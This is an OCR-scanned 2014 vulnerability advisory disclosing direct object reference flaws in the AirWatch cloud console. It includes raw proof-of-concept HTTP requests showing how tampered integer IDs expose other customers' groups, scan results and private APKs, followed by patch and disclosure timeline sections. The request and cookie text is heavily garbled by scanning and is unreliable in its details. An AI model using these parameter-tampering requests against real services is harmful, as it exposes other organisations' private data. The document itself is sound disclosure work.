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Vulnerability Advisory — Vendor Disclosure

Name AirWatch Multiple Direct Object Reference Vulnerabilities

Vendor Website www.air-watch.com

Affected Software AirWatch Cloud Console 7.3.1.0

DEVCNO M =V o] [TWAeA\IEYo]gA 10" December 2014

CVE Number CVE-2014-8372

Researchers Denis Andzakovic

Description

This document details multiple direct object reference vulnerabilities found within the AirWatch cloud console.
VMWare advised that the issues in this document also affect on-premise AirWatch deployments. A malicious
AirWatch user may leverage several direct object references to gain access to information regarding other AirWatch
customers using the AirWatch cloud. This includes viewing groups and downloading private APKs belonging to
other organisations.

Exploitation

The AirWatch cloud console was found to use integers to reference various objects. Direct access to these objects
is available based on the user supplied input. The following tables detail various insecure direct object reference
vulnerabilities that allow an attacker to view the smart-groups for other customers, retrieve private APK files
associated with other customers and view the reputation scan results for arbitrary applications. Due to the nature of
the proof of concept exploits below, customer specific data returned has been redacted.
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Smart Group Direct Object Reference
The locationGroupld parameter of the /AirWatch/ajax/smartGroups request was found to be vulnerable. An attacker
can leverage this insecure direct object reference to enumerate the smart groups for other organisations.

Smart Group Request
GET /AirWatch/ajax/smartGroups?
Host: cn38.airwatchportals.com

User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:24.0) Gecko/20140
Accept: */%*

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

¥-Requested-With: XMLHttpReguest

Referer: https://cn38.airwatchportals.com/AlrWatchy

Cookile: oldHash=%23%2FHome%:2FError; BrandingUserlLocationGroupIl
GloblizationUserCultureID=h&I /2thZ2hpgl UBVGT GZY rQ==;
GloblizationUserLocationGroupID=pFSLkQlebStMrmWFminlMIA==;
ASP.MNET Sessionld=sol0lr2xy4Slmtigwtsnwhxy;
__RequestVerificationToken LoFpcldhdGNoo=HuCPhRf X428ka7 46wq47
MESg1 5IVShCEeJoOk AwFOc 1h0s11pS5Sdd_J15w- bZ1 EEdeRS2dkMdMAWBSKEX 2t
ATRWAT CHALTH=AT 152BD440056FES4ADEFFE27FELCF L S0AFCACEDSDYEDZ220
SE41BZASSEFOESACEQCATELSY 209881 40027 FSEBESFCEADCODTSEACDZADT ACTS
C2DBEDOSDECEVAF7A4382001 CACY VSEZ2A517AS99E8024CDA4EA81 CS34CEBFOZ2CC
EEB1CEVDES4AFEDZACEBESSOEZFFE94FABOSSSEFOFZFFECEAS4 31 6FES3FEZD1109
SESEFAFS39E14347 FEEEBEBAZACEFCASZAFS

Connection: keep-alive

HTTP/1.1

Smart Group Response
HT TR,/ 1. 00 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
user: 31537
lg: 8452
%x-frame-options: SAMECORIGIMN
Server: Unknown
Strict-Transport-Security: max-age=31536000;1ncludeSubDomalins
Date: Tue, 21 Oct 2014 0l:32:47 GMT
Content-Length: 349

", "value":"20429"},{"label":"All Corporate Dedicated Devices @

"L yvaluet ;" 20409" , {"label" ;" AL Shared Devices @
L "walue":"20411" Y, {" Label":"All Devices @ W
' "valuet:'20408"}, {"label" :"All Employee Owned Devices @ _
v vyalue” 1" 20410"}]

Reputation Scan Direct Object Reference

The Applicationld parameter of the /AirWatch/AppManagement/NotifyAppScanResults request was found to be
vulnerable. An attacker can tamper this parameter and use it to retrieve the application reputation scans for other
customers’ applications.

<>
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Reputation Scan Request

POST /AlrWatch/AppManagement/MotifyAppScanResults HTTP/1.1

Host: cn38.airwatchportals.com

User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:24.0] Gecko/20140925 Firefox/24.0
Iceweasel/24.8.1

Accept: */%*

Accept-Language: en-US,en;gq=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-Torm-urlencoded; charset=UTF-8

X-Requested-wWith: XMLHttpRequest

Referer: https://cn38.airwatchportals.com/AlrWatch/

Content-Length: 167

Cookie: oldHash=S:23%2FApps%2Flist%2FInternal ;
BrandingUserLocationGroupIlD=WW3STpL] IP4PGBtEEh qWg==;

GloblizationUserCultureID=h&I /2th2hpgiUBVgf GZY rg==;
GloblizationUserLocationGroupID=pFsLkQlebStMrmwFmWlMI A==;

ASP.NET SessionId=vqxaOpizsfd3lln30xlyjzdz; GridCookie=PageSize=50;
Ios7VppInfo=HFGII XI 3CUbE7wHT MANT SA==;

__RequestVerificationToken LoFpcldhdGNo0=0MO7SdFtEorsvEs0]v_bsStC- - zUV16G7KDARIGPLESS
YUZLVpOcQWZ Lo L30VzWhppBox CvH2v LnaSp AZvOUhyk dokCZy EuReVqT Dk K LbbSELELPcdmZot PEHVL 2ZMZmxh
Tu_PN7Lj-WU_XpXolnxGw2;

AIRWAT CHALTH=8E857FF1017ESAVS1EBV483EEB7B1FES0AS1 SASSDEEACOZFABOYELIDDSASCEAEY 9SBCCASFFAR
A3EESSF7AL1OESS0ABSAZ209D678AEBSCASZDDADASS3S3SDAAS3ASA0BFSA7030CD291A4470OFBCASBDEEESS 2B
B15018F1294DF0BEAR4B9EDAA0EDAECA4BDERCADS0AECCYFAE310EBFDFESESSDELATSCO44F27 ADBCE200C
COADE7SDOSAZAADAAZDT C7SEFAEAZ 1 AAAS3BFZ7 955007 2FDASOESECSS7CF30D622BE14719A7EC0Z23173A
B0315456179092F33FAE9425022ACSE7 20EESEBZESESEA07SE8 1 CEB92DOB7B44FAZS38EC2C528DCO30A4F00
3719E

Connectlon: close

Pragma: no-cache

Cache-Control: no-cache

IconzO&AppScanﬁisksz-1&Areas=All&AppScanCategoi;ggsallﬁE;g;g;gl;ﬂtEmailﬁddressztestz%
40security-assessment.com&EmallTemplateId=18088ApplicationId=3521kAppType=Internal

Reputation Scan Resulting Email
— (~ncroid)_Report ntmi

Application Information:
Application Name
Version A4.5.1.4635
Application ID
Scanned Date 7/22/2814

{Android)

Reputation Analysis Summary

High Medium Low Total
1 2 1 4
(s7a)
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Application Direct Object Reference

The appld parameter in the /Airwatch/AppManagement/ViewApplnDevices request was found to be vulnerable. A
malicious entity can leverage this to enumerate all private applications uploaded to Airwatch. Additionally, the
enumerated application identifier may be passed to the /Catalog/App/Install call on an end device and the private
application downloaded and installed. The following table shows the enumeration of an application and installation
on an end device.

ViewAppInDevices Request
GET /AlrWatch/AppManagement/ViewhAppIlnDevices Status=1 HTTR/1.1
Host: cn38.ailrwatchportals.com
User-Agent: Mozilla/S.0 (X11; Linux 1686; rv:24.0) Gecko/20140925 Firefox/
Accept: */ %
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: https://cn38.airwatchportals.com/ALrWatch/
Cookie: oldHash=2:22%2Ffpps%2Flist%2FInternal;
EBrandingUserLocationGroupl D=WwW3STplL] 1P4PGELEERKgWg==;
GloblizationUsercultureID=h&T /2thzhpgl UBVf GZY rg==;
GloblizationUserLocationGroupID=pFSLkQlebStMrmwWFmiWlMl A==;
ASP.NET SessionId=sololrzxy4Simtigwisnwhx];
__RequestverificationToken LOFpcldhdGNoO=HUCPhRfX425ka7 46wQ47IH 06RzghSZc
MESg15IVEhCEe ook AwFOc1h0s11p5add JSw- bZ1EEdeRS2dk MdMAWBSKEX2tc 3421 1 ONOL L)
ATRWAT CHALTH=A7 152BD440055FB94DEFFE27FELCF1S0AFCACEDSD V96D 22035945C0201 80
S41BZ2ASSEFOESACEOCAYELST 29881 A0D27FSEEZFCEASCODYSEACDZADTACTIE00EESAASZEL
O30BEDOSDECEY4F743890D 1 CACT 7SB2AE1 7 AS9SED24CDA4EABL CE34CBFO2CCTESAASE2T ACE
EB1CE7DEAAFBDZ2ACESSO0ERFFE94FABOESSBFOF2FFBCEAS94 31 6FEGEFE2D]1 10939B0AAEFA266
SEGEFAFS35E1 4347 7EEEBBAZACEFCASZAFS
Connection: keep-alive

ViewApplInDevices Response

HTTP/1.1 200 OK

Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache

Content-Type: text/html; charset=utf-8

Expires: -1

Vary: Accept-Encoding

user: 31537

lg: 8452

x-Trame-options: SAMEORIGIM

Server: Unknown

Strict-Transport-Security: max-age=31536000;1ncludeSubDomains
Date: Tue, 21 Oct 2014 01:10:58 GMT
Content-Length: 35557

<link rel="stylesheet" type="text/css" href="/AlrWatch/css/appmanagement.css" />

<=div class="editor"=>
<div class="entries withCmds"=
<hz=

&nbsp; &#45; &nbsp;

&nbsp;
(4.0.3)
</h2=

<span class="lastseen"=
Last Update: Tuesday, October 21, 2014 12:10 PM
</span=>
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The following tables show the application identifier enumerated (in this case 3737) being used in the application
install process and the subsequent installation of the application.

Application Installation Request
POST /Catalog/fpps/Install/GLFDSIZT LXDELZc-5 ulLkrF1c29IdbBHEUZr8B7wEaMmuTRgT UL 067vRFMEDhx_k /53737 f2

HTTF/1.1

Host: ds38.airwatchportals.com

Connection: keep-alive

Referer:

https://ds38.a1rwatchportals. com/Catalog/ViewCatalog/CLFDSIZT LXDELZe -5 ulkrF1c29IdbBHEUZr8B7wSaMmuT RgTUI 067 v
RFMfDhx_k/Androi1d?legacyRedirect=true

Content-Length: 16

origin: https://ds38.airwatchportals.com

Content-Type: application/x-www-form-urlencoded

¥-Requested-With: com.android.browser

User-Agent: Mozillays5.0 (Linux; U; Android 4.2.2; en-us; Google Nexus 7 - 4.2.2 - API 17 - 800x1280
Build/JDQ39E) Applewebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

Accept-Encoding: gzip,deflate

Accept-Language: en-LUS

Accept-Charset: utf-8, 1s0-8859-1, utf-16, *;q=0.7

Cookie: ASP.NET_SessionId=ehdpxkevlelzvtuumughzoyh;
CatalogGloblizationUserculturelD=zCBPKbCHycOMAdw+HpKWag==; CataloglLocationGroupld=r88ZDNYk1Hsgd WRY yvYWA==;
fppCatalog=UID=GLFDSIZT LXDELZc-5_uLkrF1c29I dbBHEUZr8B7wBaMmuT RgTUI0E7vRFMf Dhx_k&aDeviceType=AndroldaProductTy
pe=App

eulald=undefined

Application Installation
Do you want to install this application? It will get access to:

PRIVACY

("

take pictures and videos
record audio

approximate location (network-based)

precise location (GPS and network-based)
modify or delete the conte of your SD card

find accounts on th

use accounts on the device

DEVICE ACCESS

= full network
:

view network connections

view Wi-Fi connections
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Solution

The AirWatch cloud based solution has been patched by VMWare. The on-premise deployment was also
susceptible to the above attacks, as such users should update to the latest version of AirWatch.

Timeline

29/10/2014 — Initial email to AirWatch support staff.

03/11/2014 — Advisory released to AirWatch

05/11/2014 — Advisory acknowledged by VMWare Security Response Center, advised cloud solution will be patched
within 48 hours.

10/12/2014 — VMW are releases patch and advisory.

29/12/2014 — Advisory release.

Responsible Disclosure Policy

Security-Assessment.com follows a responsible disclosure policy.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality
Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest
globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government.
Our aim is to provide the very best independent advice and a high level of technical expertise while creating long
and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify
and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-
Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related
to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com

Email info@security-assessment.com

Phone +64 4 470 1650
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